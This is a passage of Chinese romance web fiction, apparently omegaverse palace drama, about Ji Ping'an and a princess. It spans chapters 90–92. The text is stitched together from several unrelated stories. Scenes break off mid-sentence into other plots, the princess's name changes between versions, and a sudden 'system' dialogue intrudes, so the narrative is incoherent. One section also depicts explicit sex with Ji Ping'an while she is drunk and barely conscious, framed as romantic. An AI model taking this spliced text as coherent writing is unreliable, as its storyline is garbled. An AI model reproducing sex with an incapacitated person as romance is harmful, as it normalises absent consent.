“要不要问问季姑娘,她上次就识得梦香。” 沈之虞脸色微怔,季平安? 季平安看着糖画,值值值,这糖画不能吃,她要回家裱起来。 季平安打断她的话:“需要,特别需要。” 这下她也知道沈之虞的心情为什么不好了。 对方为她准备好了道歉的礼物,结果自己迟迟不回来。 好不容易回来了,还对去向避而不答。 季平安问道:“殿下准备的是什么?” 沈之虞没有回答具体的东西,只道:“在书房。” 季平安:“那我们现在去书房?” 要是错过了,她后悔的事情又要多加一件。 沈之虞站在原地没有动,她道:“不着急。” 季平安看向她:“为什么不着急?” 沈之虞道:“去书房前,你不若解释解释,自己的身上为何会有酒气……” “还有其他坤泽的信香味道?” 第 90 章 第 90 章 从季平安进来后,沈之虞便闻到了她身上淡淡的酒气,里面似乎还带着些坤泽信香的味道,若有若无。 味道很淡,并不是她的信香味道。 不明显,但也不能忽视。 闻言,季平安偏头嗅了嗅自己的衣服,问道:“有吗?” 酒的味道她能够理解,估计是扶孟水山进屋的时候沾上的。 衣服上也确实沾着信香的味道,但她也只能闻到向日葵花和幽兰的味道。 至于其他坤泽的信香,她是真的没有闻到。 “有,袖口。”沈之虞道。 说话的时候,她的视线自始至终没有离开过季平安。 季平安还是有些怀疑,抬起来自己的袖口闻了会儿,“你说的是桃花的味道?” 很浅很淡,还沾染上了酒气,若是不仔细闻根本闻不到。 沈之虞的长睫动了下,语气冷了些:“所以你今晚确实和坤泽在一起?” 季平安不知道想到了什么,点了下头道:“是啊。” 话音落下,她便感觉殿内的温度都低了些。 沈之虞看着她,过了片刻后才道:“季平安。” 天色已晚,屋里屋外都点了灯。侍子奉上茶,便知趣地退出了包间,独留谢瑾与七帝姬在屋子里头坐着。 两人许久未见,彼此都有些拘谨。 谢瑾上一回见七帝姬还是四年前,当时的七帝姬年方八岁。七帝姬带着人去纯嫔妹妹,即谢瑾亡妻的坟头替纯嫔烧纸,恰巧碰上了谢瑾。 谢瑾在外征战多年,赶着亡妻的祭日匆匆回京。本想着前段时日连日梅雨,那坟应泡了水,许是破败不堪,却不想亡妻的坟头已然被修葺一新,坟前齐齐整整摆着花。 那时的七帝姬音色还很稚嫩:“我母妃说,姨君尽管安心在外征战,这儿无需挂念,自有她着人好生看顾。” 谢瑾许是被风迷了眼,眼眶一湿:“替下官谢过纯嫔娘娘。” 谢瑾恍然回过神,抿了一口茶,寒暄道:“殿下万安。殿下近来可好?” “劳姨君挂心,一切都好。”七帝姬少年老成地说,“我前儿还去了小姨的坟头,着人铲去了杂草,姨君放心。” “谢殿下。”谢瑾拱手,又问,“殿下此次找我,可是季将军遇刺一事有了眉目?” “是如此。”七帝姬冲包间门口抬了一下下巴,“我还邀了我小姑姑,算算时辰应是快到了。” 话音刚落,长公主同季平安一块在门口现身。 七帝姬眼睛一亮,老气横秋的劲儿登时没了,腾地站起来,扯开了身旁的椅子,雀跃地说:“小姑姑快来,小姑姑坐这儿。” 围观了一场史诗级川剧变脸的谢瑾:? 长公主在七帝姬一迭声的召唤中不紧不慢走过去,顺手揉了一把她的脑袋:“十二了,也该稳重些。” “你怎么同我母妃一样,也学会了念叨我。”七帝姬嘟起了嘴,“一月前,大约是学堂夫子同母妃说我性子调皮好动,自那时起,母妃便时不时在我耳畔念叨两声。怎么现如今小姑姑你也开始了呢?夫子也同你说了么?罢了,且说正事。季将军请坐。” 七帝姬叽叽喳喳一大堆,季平安只听清了最后五个字。她转头去瞅谢瑾,指望着七帝姬的姨君能替她解读一下,却发现谢瑾的神情比才出生的婴孩还要懵懂。 季平安: 季平安便明白了,谢瑾恐怕连最后一句都没听清。 她道谢后归座,听着七帝姬继续叽叽喳喳: “事情原是如此,具体我究竟也不甚明白,我只是传达我母妃的意思,我母妃叫我有事便找小姑姑,于是我将小姑姑也拉来了。说起来,我有五日未见小姑姑了,我上回给小姑姑送去了茶叶,小姑姑只遣人来说了声谢,究竟也没亲自来,我失望了好几天呢。” “我日日上学,本想着出宫去见小姑姑的,母妃却不许,定要叫我把这几日教的文章背得滚瓜乱熟了,才许我出门。我也曾偷偷摸摸溜出去找小姑姑,但每回都在半路上被逮了回去。若不是季将军遇刺一事有了眉目,那文章究竟只熟络了半篇,我还不得出宫呢。” 季平安: 坏消息,她仍旧一句没听清。 好消息,这一通话似乎都是废话,因为她听见了起码有十几声“小姑姑”。 结合七帝姬说着说着便委屈起来的语气,应当是小孩儿在撒娇。 长公主接着淡淡地应“嗯”,与七帝姬的长篇大论比起来略显单薄——令季平安怀疑她也没听明白——但七帝姬却肉眼可见地更开心了,再一次开始了叽叽喳喳: “小姑姑,你可知我读的是哪篇文章么?我读的是《道记》,我背熟半篇了,小姑姑你可想听?” 这回季平安听清了。 她已经做好半个时辰再进入正题的准备了,却见长公主替七帝姬理了一下衣襟,而后淡然开了腔:“不想。” 季平安:?如此直接? 七帝姬却并未气馁:“小姑姑你真不想听么?前半篇我背得可顺了,内官们一个个儿都夸我呢。” 长公主:“不想。” 七帝姬噘起了嘴,嘟囔了一声“好吧”: “无妨,虽然小姑姑拒绝了我,可小姑姑仍旧是我最爱的小姑姑。我开始传达我母妃的意思了。” “我母妃说,秋雁姐姐原是在她宫里的,然不日后被二姐姐讨了去,后来再见时便是在勤政殿了。这中间历经数月,或是二姐姐送与母皇的,或是中途又经手了别人,她让我来问问小姑姑,是否知晓一二。” “秋雁么?”长公主想了一想,摇摇头,“老二未曾与我提及,我也未见她身边多出了眼生的侍子 。” 七帝姬往椅子上仰躺下去:“我话传完了,此后便是你们大人之事。” 长公主搭在桌上的指尖轻轻敲了两下桌面,率先发问:“为何要寻一侍子踪迹?” 七帝姬错愕道:“她刺杀了季将军,小姑姑你竟不知?” “我为何会知晓?没人与我说过。” 七帝姬恍然大悟:“对!我是未同小姑姑说。说起来,季将军遇刺一事瞒得倒是极好,听到我姨君递进来的信儿时,我们还大吃一惊呢!待知晓刺客是秋雁后,便更大吃一惊了。” 季平安垂头吃茶,能感受到三道目光汇聚在了自己身上,夹杂着“你说两句呗”“将军不容易”,与 来自长公主的那道眸光浅淡,季平安没琢磨明白是什么意思。 她抬了一下茶盏,想着自己这会儿似乎是该发表一点感想,刚准备开口,忽听长公主平铺直叙地问: “大人是回京那日白天遇刺的么?” “正是。”季平安道。 “大人倒未曾与我提及。” 季平安仍旧不知道长公主说这话是何意。 若说是好奇,长公主又实在不像是关心这些事的性子;若说是嗔怪自己没跟她讲就更不可能了。 许是礼貌性询问。她想。 她于是道:“究竟不是什么大事,倒不必为此叨扰殿下,故此没提。” 长公主微微颔首,端起茶盏抿了一口,蓦地再度开了腔: “大人此后有事不必瞒着,左右都是一家人。” 一家人? 面都没见几回,话才说了不过几十轮,这就一家人了? 季平安没明白,错愕地问:“下官何时同殿下是一家人了?” 她已经做好听一些客套的、诸如“亲如一家”的话的准备了,却不想片刻后,长公主淡漠的声音轻轻巧巧传来: “谢将军是小七的姨君,大人作为将军的朋友,同我自然也算得上一家人。” 季平安: 无懈可击的逻辑。 都怪谢瑾! 沈初沉沉道:“她还不够格。” “我就够格么?” “那是自然,阿虞打小儿就聪明,若不是母皇薨逝时阿虞年岁太小,这皇位也轮不到我。” 沈之虞垂在袖子里的手攥成了圈,小半柱香后终于松开。她垂着脑袋,被发丝遮了一半的面庞看不出神情:“你如此行事,对得起母皇么?” “我如何行事?”沈初笑起来了,“我爱惜幼妹,母皇于九泉之下知晓后高兴还来不及。” 沈之虞的指尖在扶手上敲了两下,忽然将脑袋扭过小半圈,沉着眼撞上了身后那人的视线:“你自己如何想的你自己自清楚。” 沈初点点头:“我很清楚。” 很清楚么 那便是有意为之。 这句话在沈之虞耳中与挑衅没有差别。 沈之虞蓦地起身,高声唤进了在门外候着的内官:“将你们皇上的奏疏收拾好,今儿的安房闭门不待客。” 内官在地下诚惶诚恐地候着,不知要不要遵命,偷摸着斜眼去瞥皇上的反应。 沈初却笑了:“安房不待客,我便去花厅。” 沈之虞面色不改:“花厅南北通透,寒风硕硕,恐冻着陛下。” 沈初睁大了眼,微微低下头,惊喜地问:“阿虞,你是在关心我么?” 沈之虞: 内官眼观鼻鼻观心地退下了。 沈之虞受不了了,转过身,深吸一口气,问:“你待如何?” “不如何。”沈初重新一屁股坐上了黄花梨木椅,“我只想寻个地儿清清静静批会儿奏疏。” “御安房什么都有,炭火也比这儿足,不比这儿舒服么?” 沈初拧眉想了会儿,悟了:“阿虞是说长公主府内炭火不够用了么?我即刻遣人送些来。” 沈之虞:此时天色全然暗淡,随处可见的灯笼将整条街渲成星星点点的暖色。 将打包好的吃食交由谢瑾的随从带回家后,俩人单独上了街。 小摊类型不一而足,手工小吃并日常用品应有尽有。 谢瑾盯上了一家卖藏刀的小摊,对其中一把蛇头雕花弯刀爱不释手,遂和摊主砍起了价。 摊主率先开始吹嘘:“这刀是从藏南铁矿山进的原材料,经历了七七四十九道淬火,又由八八六十四个工匠不眠不休三天三夜铸的形,城南仅此一件儿,别家没有。” “听着不错。”谢瑾点头问,“那价钱如何呢?” 摊主比了个五。 谢瑾:“五两银子?” 摊主摇摇头。 谢瑾大吃一惊:“难不成是五十两?” 摊主继续摇头。 谢瑾花容失色:“五百两” “停!”摊主不知从哪儿掏出把折扇,唰地展开,挪至脸侧扇了扇,“咱们这儿是小本买卖。不瞒您说,其实只需五百文。” 谢瑾:“五百文”对得起“藏南铁矿”“四十九道工艺”“六十四个工匠”“城南仅此一件儿”里的哪一个? 谢瑾笑道:“您这刀耗费如此人力物力,五百文就能卖?” “阁下有所不知。”摊主神秘兮兮地说,“虽然耗费人力物力,然我有特殊渠道,拿的都是底价,故此成本并不算太高。” 谢瑾点点头:“也别五百两文了,我予你一两银子,难为你在这儿吹了这么半天,也不知口渴没。” 摊主:那刀确是用的上好的铁,刀刃锋利,刀面光滑锃亮,一刀下去能轻松挥断发丝,被谢瑾攥在手里轻轻巧巧耍了个刀花。 谢瑾得了称心如意的玩意儿,一整个晚上都兴致高涨。她的手从头到尾就没离开过钱袋儿,一路走一路买,最终脖子上挂了一个面具,背上背了一个箭匣,右边胳膊挎着花篮,左边胳膊抱着一袋子点心,又往季平安身上扔了一只酒壶。 季平安很麻:“你家里不是藏有百八十只酒壶了?再说,这玩意儿何处寻不到,至于巴巴跑这儿来买?” 谢瑾摇摇头:“你不明白。” 她一面说,一面环顾四周,忽然抬起胳膊,指着不远处张灯结彩的一座天桥说:“可想上去走走么?” 天桥连着东西两座酒楼,栏杆上系满了各色丝带,丝带上俱写着百姓们的愿望,大多是求一个福禄安康。 季平安想了一想,点点头。 她其实对于许愿一事兴致缺缺,觉得倘或求神拜佛有用,桥洞底下便不会睡着流浪汉,除夕夜的寺庙里也不会躺满无家可归之人。 她于是只是看着谢瑾拿了条崭新的红丝带,对着北面拜了拜,而后执起墨笔,提腕在丝带上题了几个字。 季平安在旁边憋笑憋出了内伤。 摊主虽被阴阳,却并未计较,因为一两银子很显然是一个令双方都极其满意的价格。 沈之虞没辙,面无表情地丢下一句:“那你一人在这儿待着罢,我去别处静静。” 沈初没说旁的,重新打开奏疏,只是嘱咐了一声:“如今天寒,阿虞别站在风口儿吹。”- 季平安心里莫名的情绪淡去后,她又开始和沈之虞聊天。 “殿下,你知道水山和孟枝在一起的事情,不会惊讶吗?” 她刚才给沈之虞讲这件事情的时候,对方似乎完全没有惊讶的情绪。 “有一些,不过能看出来。”沈之虞道。 季平安好奇:“怎么看出来的?是在大柳村的时候吗?” 沈之虞嗯了一声,“但当时我也只是猜测。” 孟水山阻挠孟枝的婚事,还可以从心疼妹妹的角度解释。 但提起来亲事,孟枝下意识看向孟水山,就值得注意了。 季平安笑了下:“我当时还以为她就是单纯不喜欢秦昌呢。” 现在看来,分明是情敌见面,分外眼红。 说了会儿,沈之虞也将画补充完整。 画自己总是有些别扭的,她也没有画的特别精细,不到一刻钟就完成了。 季平安接过画,看着完整起来的画面,“好看,人好看景色也好看!” 她重新将画卷起系好,打了个哈欠道:“殿下,回去休息?” 沈之虞嗯了声,将书房的烛熄灭后,跟着季平安一起回了院子。 等到要各自进房间的时候,季平安顿住自己的脚步,道:“殿下晚安。” “晚安。”沈之虞道。 顿了片刻后,她站在房间前,道:“今天的事情,我没有吃味,只是不喜欢陌生的信香味道。” 季平安反应了片刻,才跟上她的话。 她刚才只是开开玩笑,谁知道沈之虞现在一本正经的解释了一句。 她努力地压了下自己的唇角,不让自己的笑容太明显。 “我知道我知道。” 公主殿下才不会吃味呢。【你现在阅读的是 】 90-100 第 91 章 第 91 章 隔天,沈之虞和季平安也得到了消息,出发去南三郡的时间定在了明日。 同行的人除了五皇子,还有工部的官员,负责河道的修整和其他事务。 皇上和朝上其他人的意思是先让她们轻装简从,尽早赶过去,若是有意外了也能抓紧处理。 季平安问前来传话的官员道:“这么着急?” “是啊”,官员叹了口气,道:“南三郡距离京城远,哪怕只是赶路都要十几天。” “按照往常来看,南三郡多雨的时间也在七月底八月初,能持续半个多月。” “若是想要提前整修河道,时间已经算紧张的了。” 季平安点头:“说的也是,多谢大人。” “小姐,喝药了。” 丫鬟小陶端着熬好的汤药进来,季平安捏着鼻子也喝不下去,太苦了,到底是哪个狗大夫,她明明什么病没有,就给她胡乱诊病。 不能说她是劳累过度晕厥吗? 刚从集市回来,多好的借口啊。 “小桃,我们还有几天自由时间。” 小桃道:“小姐,我们还有三天,三天后您就是长公主的侍读。” 真厉害,小桃满眼崇拜,能去长公主府任职,是多少人梦寐以求的,她家小姐就是优秀。 “走。” 季平安起身,躲不过,那就勇往直前,眼下日子是要过的,还有三天,好好作。 “小姐,你来这里?” 小桃一脸不可思议的站在烟柳巷,眼前胭脂水粉气刺鼻,头顶一块烫金牌匾,上面风情潦草的四个大字:揽月坊。 “进去看看。” 小桃:“我怕丞相打断我的腿。” 季平安戳她心口诱惑道:“你真的不想看看里面什么样吗?” 季平安从未踏入古代的青楼烟花之地,每次看书描写的都富丽堂皇,这次进来,怎么也要一饱眼福。 她本就成年了,看看也没什么。 小桃眨着眼,还在犹豫季平安已经先她一步迈向台阶,小桃反应过来,人已经进去了。 她赶紧一口一个小姐喊着,跟了上去。 揽月坊大厅正中央悬挂着一个巨大的琉璃幻彩吊灯,四面大红绫罗绸缎从上梁悬挂垂下,在灯光折射下绸缎散发极致的魅惑,宛如梦中星河。 花瓣蹁跹而下,圆形舞台上空,飞天舞女穿着暴露,打扮妖娆,她们三五成群打扮妖娆,身上的披帛在转悠中晃到宾客的脸,引起一阵不小的骚动叫好。 人群里不知谁说了一声:“今天能见到月娘吗?” “我都来一个月了,脸个影儿都没看到。” “月娘岂是你这等次可见的?” 搭话的是个穿着锦缎的夫人,看她排头,定是殷实之家出身,可她眼神之间却是对方才说话之人的鄙视,想必她也是为了这月娘而来。 季平安忽然就好奇起来:“月娘到底是谁?” “小姑娘就不懂了,月娘是揽月坊招牌,传闻她极度貌美,琴艺一流,只卖艺不卖身。” “原来是淤泥里的白月光。” 青楼中不乏貌美女子,但头牌大多更加貌美,且才艺双全。 “你们是没见过真容?”为何要说传闻。 “月娘每次都是头戴面纱,只那身子就可断定,绝非一般女子。她一月只现身不到三次,即便有钱也不一定看的到。” 那贵夫人眼中发光,神往之色溢于言表。 “怪不得这么多人。”季平安凝望四周,这帮人莫不都是奔着月娘名号来的。 “花了钱,又看不到正脸,你们也愿意?” 太蠢了,季平安不屑,就像买东西,花了大价钱只看到外包装盒,里面产品用不到,还乐呵呵的,觉得赚大发了。 神经病。梅姨娘闻言面上忧患,连带着一旁的画眉等人都各个义愤填膺,昭国是礼仪之邦,离国却是蛮狠凶残,她们这些年明里暗里的吞并四周小国不在胜数,若不是昭国兵力强盛,可与之一抗,只怕早就被纳入旗下。 月国态度不明,与昭国之间一直是若敌若友的扑朔之态。 “十年前,为了稳固昭月两国关系,母皇曾想送悦儿和亲。” 沈之虞回忆往昔,她与沈悦是双生子。 可惜生下来一个健健康康,一个命薄脆弱,而沈悦则需用龙气日夜将养,这才找了个法子用别人替嫁过去。 这么多年过去了,那个人在月国,也不知怎么样。 昭国经过离国一战,现举国上下都需休养生息,百姓再也经不起战争所带来的苛税痛苦。 国家需要恢复,所有人渴求平稳,和谐发展。 但四周总有豺狼虎视眈眈,即便身处高枕无忧之位,她亦有要守护的东西。 “等我武功再进一步,看那离国敢来,我就申请披挂上阵,杀的她们片甲不留,不然还当我们好欺负不成。” 四史里的黄莺忽然发声,一脸愤愤,拳头握成球状,面色都激的发红。 大家相互看看,都因她这句话而噗嗤一笑,一时间紧张忧虑的氛围竟有些松弛。 画眉拿着帕子捂嘴娇笑:“我看咱们也别组建什么不死队,情报网了,就让阿莺一个人上阵去,一切都解决。” 沈之虞挑眉,寡淡的眼尾也晕染几分笑意。 “可以。” 黄莺一看大家调笑的神态,不由急了:“你们说什么呢,我说真的,离国要是来战,你们还不战么?” 她是昭国人,绝不会退缩。 “当然不会真的让你一个人上去,你那两下子,够打么?”一直未说话的红绸眨眨眼,清了嗓子,眼中也是止不住的笑。 黄莺是她们四个人中年龄最小的一个,活泼天真,没见过战场上真正的恐怖与无情,不知国与国之间博弈时的铁血手段。 以为靠着自己一腔热血就可以挥洒出自己想要的结局。 如今昭国军队需注入大量钱粮来供给。 国库明面上一片祥和,只因她们跟着长公主,晓得这里面问题。 长公主这些年开了暗地里开设不少茶楼酒肆,地下生意没少做,为的什么,她们心照不宣。 “对了,丞相府中一切安稳,季姑娘似在准备明日入府。” 季平安,那个娇软丫头。 沈之虞像是想到了什么,面上舒展,声音无端柔几分:“她没吃过什么苦,给她收拾个干净体贴的房间。” 梅姨娘弯腰点头称“是。” 就说公主为什么会在揽月坊招客,原来是招的丞相家的千金小姐,那日听十七说,宫宴那晚她们这关系可非同一般。 梅姨娘暗地里咂咂嘴,这来的没准是个小祖宗,她可得供好。 一切事宜安排妥当,红绸将随身携带的药箱子打开,给沈之虞换药。 “公主,您这手不宜在用力。” 红绸将她左手手腕上的纱布取下,那夜郊外遇袭,公主手腕受伤,袭击者的身份尚未查明,“让十七盯着点,以防暗探已经潜入城内。” 所谓知己知彼百战百胜,她们的情报网遍布大江南北,除了昭国也安插在其他周边敌对国家,不仅如此,双方相互渗透,这次遇袭,沈之虞眯着双眸,陷入沉思,怕是有些人蠢蠢欲动,想要一探深浅了。 她唇角上扬,不屑之情溢出,杀不死她,就别怪她反杀。 “小姐,您慢点。” 季平安下了马车,小桃体贴的给她扶下,眼前巍峨壮丽的府邸,比她家丞相府不知阔气多少倍,就说那石狮子,比相府大,比相府做工更讲究精致。 面朝南,一块巨大牌匾上赫然写着长公主府几个字。 小桃大包小包拎着,季平安看了眼高高台阶,这时大门忽然开了,梅姨娘那张花枝招展的脸出现在眼前。 两两相对,季平安懵了。 “镜中花,水中月,就这种可看不可得才吸引人,那些甩了银子就抱上的,有什么意思。” 贵夫人翻个白眼。 嗯,还挺有情调,季平安扬扬眉,忽然轻纱薄幔,斑斓光芒中,二楼一众桃红柳绿簇拥着一面带白纱的女子,老鸨甩着帕子,声音夸张:“月娘来了,月娘来了。” “今天月娘生辰,谁投掷银子多,就可单独去为她庆祝,想一想,你一个人与月娘在房中谈心说地,还能与她共吃长寿面啊,想想就让人愉悦” “所以,赶紧投,赶紧啊” 老鸨跟老式收音机似的,连轰带炸,面上妆容夸张艳丽,她走前面为月娘开道。 那一身大宝蓝色织金华贵纱袍,季平安不知怎么的忽然与另外一道身影相重合,那华丽的蓝,那人也穿。 月娘目光清冷,目不斜视,手中拿着团扇,轻轻扇着,走到楼梯一半停下,纵身一跃,飞到舞台中央,无比精准的拽到垂落的帷幔,在漫天花瓣雨中翩跹起舞,大厅里忽然就沸腾了。 月娘二字此起彼伏。 季平安目不转睛,心中震撼,那窈窕身段,配上半遮的面纱,衣袖舞动间若春燕振翅,确实引人遐想。 这时有几名白衣女子作配,飞身到她周围,将她团团围住,那抹蓝在红色的包裹下,绮丽迷幻,空气中有香味蔓延,随着音乐缓急间,大家都上头不能自拔。 银钱越掷越多,却一片也沾不上月娘身。 季平安被情绪渲染,从身上拿出一枚铜钱扔不过,倏然间那抹蓝色身影飞到她眼前,对她媚眼一勾,伸出手,那枚铜钱已经接下。 季平安呆了,那么多人,她踩了什么狗屎运? 老鸨面色惊讶,须臾间收敛,立刻喜笑沈开,舞着帕子开心大叫:“这位小姐,喜迎头彩。” “月娘怎么陪这个小丫头。” 人群里惋惜声传来。寝殿内,云顶檀木作梁,水晶玉璧为灯,七尺金丝楠木阔床边悬着鲛绡宝罗帐,风起绡动,薄纱飘摇,偏殿内熏香袅袅,烛光将四周映衬若白昼。 季平安睁开眼,入目就是这雕梁画栋的奢华之景,紫檀雕花案几上,设三尺左右青绿古铜鼎,凤凰衔环香炉里袅袅娜娜泛着白烟,身下玉枕衾被,金砖铺地,内柱雕刻回旋盘绕凤,栩栩如生,珠帘旁立着一座百花争艳六扇屏风,此间种种无一不宣誓着主人的高贵身份与讲究。 她揉揉脑袋,昨天醉酒,现在脑中还一片昏沉,闻闻袖口,一股酒味还没散尽,她蹙眉,似乎还多了一分其他味道。 幽香神秘的罂粟,似乎不止从衣袖染出,看看身上着的中衣,每一处都有它神秘的痕迹,挥之不去,萦绕又缠绵。 昨晚,她酒醉被人撞到,继而一个曼妙艳丽的女子出现在她眼前。 季平安慢慢回忆,想着昨天发生的一切。 记忆如潮水般涌来,那些零碎片段走马灯一样拼接成一个完整的画面,脑中充血,牙关打颤,天! 离开掀开被子下床,她的衣服早已被人换过,这不是她昨天入宫穿的那件长裙。 她都干了什么? 回头望着大床,种种绮丽画面像她砸来,耳根处一阵发热,她摸了下。 “嘶”,疼。 麻痒中带着被人大力舔舐过后的薄疼,昨天左耳垂后方要撑破的感觉倒是消减不少,似乎有什么注入缓解了不适。 走了两步,另一处又开始发疼,她立刻站住不动,被填满后慢慢消解的虚空感,丝丝缕缕,仿佛灵魂都随着那些时辰的颠鸾倒凤而抽离身体。 她昨夜与一个陌生女子翻云覆雨,夜月花朝,莺期燕约,蝶乱蜂狂,做的骨头都散架似的发酥。 仔细回想,书里怎么没看到这些情节? 季平安眉间颤动,似是受了不小打击,她看的《凤宠》里,开头宫宴结束就是小姐安全归家,哪里来的额外福利赠送? 她穿的是什么书? “吱呀”朱门晃动,有人推门而入,她思绪收回,水晶帘被一双玉手挑开,来人身着大红鎏金绣凤织锦袍,裙身雕刻繁复的祥云暗纹,腰间一条嵌玉石宝珠的宽边腰带,裙摆宽大飘逸,随着她不疾不徐的稳重步伐,每一步都透着与生俱来的从容优雅。 昨夜被翻红浪的脸与现在敷了香脂口膏与描了螺子黛的面容重叠为一处,季平安觉得身子那里更疼了。 小说里,只有一个人爱穿艳丽的服装,就是新帝的嫡姐,昭国长公主,沈之虞。 这个认真像五雷轰顶,把她轰的外焦里嫩,她跟一国最金贵的公主睡了? 春宵一度,还拉着别人的手死不放松。 天嘞!没脸见人了。 季平安石化,僵在原地,尴尬,在思考要不要装作什么都不记得,反正扬着脸打死不认就行。 “季姑娘,昨夜可还满意?” 季平安又是一惊,惊于沈之虞调查她的速度,短短一晚,吃干抹净还能查到她真实姓名住址,惹不起,是她惹不起的人。 “嘿,哈” 季平安抓抓头,挠挠腮,支吾半天,“还行。” 说完又觉得哪里不对,第一次,季平安觉得时间过得太慢。 “哦?” 沈之虞挑眉,甚是感兴趣,像她又走进一步,“昨日,季姑娘扒着本宫的手,本宫差点脱臼。” 想到昨天,她泪眼汪汪的不许自己走的模样,沈之虞眼中玩味兴起,抬着右手虚晃了两下,季平安忽而看到她另一支裹着厚厚的纱布。 “你受伤了?” 月娘在季平安怔楞间,直接拉着她的手,带着她飞向二楼过道。 台下依旧一片热闹沸腾。 季平安腰间被一双素手搂着,那手温润柔软,掐着她腰间竟莫名带起一阵电流蹿腾。 落地,她有些晕乎,看着面前女子,忽然间一阵罂粟的幽香侵入鼻尖,她有些疑惑的看着对方,半月前醉酒的感觉又袭来,面前女子越来越近,她胸腔沸腾,耳垂处胀的难受,抬手想扯下那白色。 伸到一半,忽然软了下去,身子向后跌的同时,再度落到那具坚实的怀抱。 她意识涣散间,喊了一句什么。 对方身子一颤,静静看她许久,而后将人轻轻抱起,入了房。 摘了面纱,月娘看着眼前娇软少女,多日不见,依旧灵动,胆子太大了些,一个人就敢跑到这纷乱繁杂之地。 季平安被放在床榻,今日她着一身淡粉纱裙,腰束水蓝软烟罗缎带,乌发如瀑,斜插一根玉花簪,发尾随意披散开,腰若细柳,肩若削成,略施粉黛已比楼下那些庸脂俗粉不知娇上多少倍。 在这里发作,幸而她今日在。 似是难受,迷离中的季平安嘤咛一声,小脸红扑扑,左耳垂处那抹心形胎记越发猩红刺目,较之上一次的浅显,今次在看,那红比血还要秾丽惹人心惊。 腺体在叫嚣着往外冲破,这小丫头信素外泄这般来势汹汹,处在潮水期还没过去也敢到处跑。 淡雅清香的紫藤花从耳垂后方一寸处汩汩溢出,这香味比兰还要清雅,她抬手,轻触那点红,周深罂粟花香霎时翻山倒海,喷薄而出,与紫藤相交融,季平安舒服的唔了声,神态放松而满足。 迷迷糊糊的身体,原本难受的感觉因周围罂粟花海的包围而渐渐消减,不对,这消减过后她好像被人抽走了力气,软绵绵的连眼皮都抬不起来,只觉一只手从她耳垂处离开,她的腰部被人高高垫起,另一处开始不耐的寻求释放。 狭长双眸看着意识溃散的人,眉眼间是俯瞰众生的高贵薄凉,有些寡淡的眼尾因着榻上人的诚实而有一刻松动,季平安腺体里注入了她的信素,算是再一次被临时标记。 而股侧间涓涓花蜜倾泻而下,月娘探手,只一碰就就越牵越多,紫藤花的香味由淡转浓。她看了眼桌面上的茶水果盘,心中不知在想什么。 季平安忽然抬手一勾,不经意的将她脖子拢住,用力一拉,思索中的人就这么被她带着扑进胸前,月娘大惊,侧耳恰好听到身下少女有力的心跳,似是急切的渴望什么,跳动极速。 双腿缠着她半腰,才发现,季平安将她夹在中间,不安分的扭动,“呵呵。” 她勾唇:“这么主动。” 纱裙浸着湿意,桌上的长颈花瓶插着今早刚换的海棠花,算了,现在她根本动不了。 “嗯。”季平安忽然出声,空荡的地方被阔得满当,意识混乱间她不由轻唤出声。 门外,梅姨娘看着几个姑娘,努努嘴:“到底能不能进去?” 公主这是怎么了?以前从来不在揽月坊招人的,今天居然寻了个小女娃年纪不大,也不知道能不能伺候好她。 “画眉,要不你进去看看。” 梅姨娘眼中精明,怂恿着,画眉扬眉:“您别害我。” 她不敢去,竟然让她去。 公主的脾气,她可不敢惹。 季平安的语气里听不出半分虚假地道:“我好像没有感觉到,你要不要现在检查检查自己的数据,看看是不是出错了?” 系统:“这样的吗?我现在就去看看!” 季平安:“检查好之后,也不许检测我的心率了。” 系统格外听话:“好的,宿主。” “不过宿主要注意身体健康哦~” 心率跳太快,对身体不好的。 季平安:“……知道了。” 她翻了个身闭上眼睛,鼻尖还有浅浅淡淡的兰花香气。 不知道是标记完坤泽的信香,还是屋内开的正好的兰花。 往日相处的场景,又慢慢地在黑暗中浮现。 季平安动作很轻地捂了下自己左边胸口的位置。 好像确实要比平时快一些。 第 92 章 第 92 章 夏苗事情过后,处理了不少官员,五皇子一派损失算得上惨重。 在朝上听到季平安要一起去南三郡后,他心里的担心更多了些。 在府里想了一天后,沈弘星还是没有忍住,进宫找到皇后问:“母后,父皇是怀疑我们了吗?” 要不然怎么夏苗的事情让季平安插一手,南三郡的事情还要让对方跟着。 宁如仪给他倒了杯茶,脸上的着急倒是没有看出来多少。 她慢声道:“你前段时间太过着急了些,生疑也是正常的。” 季平安坐在沈之沈的对面,手上剥着板栗。 “板栗对脾胃虚弱的人有好处,还抗衰老,就是延缓变老。” “殿下这两日身体虚,不能只喝药,食补能让身体恢复得更好。” 沈之沈冷冷地看着她把剥好的栗子放在点心盘里,“你去淮安侯府了?” 季平安在淮安侯府说的那些,除了对她表明心迹的那些话,她还是认可的。 这人变聪明了,知道这个时候跟淮安侯府分割开才能避免日后灾祸,虽然双方无法彻底分割,但是季平安现在是公主府的人,相当于嫁出去的女儿,非诛九族大罪,只要她不自己作,就不会波及到她。 显然,以前季平安不懂这个道理,只要她能老老实实做个摆设,沈之沈不会拿她怎么样,到现在已经安了,她在沈之沈的必杀名单里。 季平安挑眉,心里有点儿开心,她的努力没有白费,沈之沈肯主动问她了。 “淮安侯府兼并民田,却用公主府的名义,我要让他们主动承认罪行,绝不连累公主府。” 她说着,还帮沈之沈倒上了一杯热茶,又把剥好的栗子推过去,期待的眼神一闪一闪的。 沈之沈没有去拿,心中的疑虑越来越重,季平安看她的眼神从来都是躲躲闪闪的,背后看她目光又充满淫邪,这样干净坦诚的眼神从未有过。 她单手扶住桌子就要起身,哪知脚下一软差点儿摔倒。 季平安反应快,立即扶住了她,沈之沈只觉得自己被触碰的地方像是被针扎了一样,密密麻麻地刺痛。 一个是中毒后遗症,一个是她对季平安的厌恶程度到达了生理上。 “我抱你?”永宁院内,郑翳正在疯狂想办法,刘院判跟两位太医都拦在了外面,这件事他们也没有办法。 季平安几乎用跑地来到了永宁院 ,见几位太医在外面,她怔了一下,为何不让他们进去。 下一秒,她就被冲出来的春归拉了进去,“驸马,殿下突来雨露期,不知为何,平息药不管用了。” 平息药跟清凉丸差不多,平息药能平息体内的□□,以此来缓解雨露期带来的渴望,前者平定气息,后者中和□□。 季平安一听就知道,这雨露期来得太不是时候了,沈之沈的身体刚清除毒素,本来每次来雨露期的时候,欲望都会更大些,强忍只会更痛苦。 沈之沈经过这次,身体状况很不好,还没好彻底呢,就来了雨露期,她的体内恐怕是狂风暴雨了。 这个时候,季平安只能给沈之沈再次施针,她穿到这个世界的时间不长,对乾元坤泽,雨露期易感期的了解不多,她手里的药方很多,能对雨露期易感期有用的,还得慢慢研究。 她的大脑快速过着药方,半晌在纸上写下了药方递给郑翳,“按照这个抓药,我来施针。” 